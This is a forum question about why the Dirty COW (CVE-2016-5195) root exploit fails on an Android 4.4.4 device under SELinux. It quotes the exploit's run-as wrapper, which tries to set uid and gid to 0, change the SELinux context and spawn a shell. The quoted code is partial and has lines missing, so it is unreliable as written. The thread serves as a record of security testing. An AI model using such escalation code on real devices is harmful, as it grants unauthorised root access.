I'm working on an Android 4.4.4 device (armeabi-v7a architecture) and I'm testing the SELinux behavior using the Dirty-COW CVE-2016-5195 exploit for escalation priviledge and see what happens. I've downloaded the exploit and executed it in adb shell to became root on the device, but it doesn't work, here's the results:

carlo@host:~/CVE-2016-5195$ adb shell run-as
uid run-as 2000
setresgid failed: Operation not permitted
setresuid failed: Operation not permitted
uid 2000
0 u:r:runas:s0
context 0 u:r:shell:s0

The exploit code is: (you can find it here https://github.com/timwr/CVE-2016-5195/)

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <dlfcn.h>
#include <fcntl.h>

#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }

//reduce binary size
char __aeabi_unwind_cpp_pr0[0];

typedef int getcon_t(char ** con);
typedef int setcon_t(const char* con);

extern int dcow(int argc, const char *argv[]);

int main(int argc, const char **argv)
    LOGV("uid %s %d", argv[0], getuid());

    if (setresgid(0, 0, 0)) {
        const char *error1 = strerror(errno);
        LOGV("setresgid failed: %s", error1);

    if (setresuid(0, 0, 0)) {
        const char *error1 = strerror(errno);
        LOGV("setresuid failed: %s", error1);

    LOGV("uid %d", getuid());

#ifdef __aarch64__
    void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
    void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
    if (selinux) {
        void * getcon = dlsym(selinux, "getcon");
        const char *error = dlerror();
        if (error) {
            LOGV("dlsym error %s", error);
        } else {
            getcon_t * getcon_p = (getcon_t*)getcon;
            char * secontext;
            int ret = (*getcon_p)(&secontext);
            LOGV("%d %s", ret, secontext);
            void * setcon = dlsym(selinux, "setcon");
            const char *error = dlerror();
            if (error) {
                LOGV("dlsym setcon error %s", error);
            } else {
                setcon_t * setcon_p = (setcon_t*)setcon;
                ret = (*setcon_p)("u:r:shell:s0");
                ret = (*getcon_p)(&secontext);
                LOGV("context %d %s", ret, secontext);
    } else {
        LOGV("no selinux?");

    system("/system/bin/sh -i");


But when I execute the make test command to see if it is vulnerable to this exploit, it says that it is! My question is: what is this issue related to? Is it possible that SELinux is responsable of blocking or allow a process system call?

  • 2
    That's not the whole exploit. Where is the dcow() function? I only see its prototype. As it is, that code does nothing. It just tries to set the creds to root with no attempt to exploit anything at all.
    – forest
    Commented Dec 18, 2017 at 9:14
  • Sorry, here's the link to the whole exploit: github.com/timwr/CVE-2016-5195
    – CRazensuar
    Commented Dec 18, 2017 at 9:16


You must log in to answer this question.

Browse other questions tagged .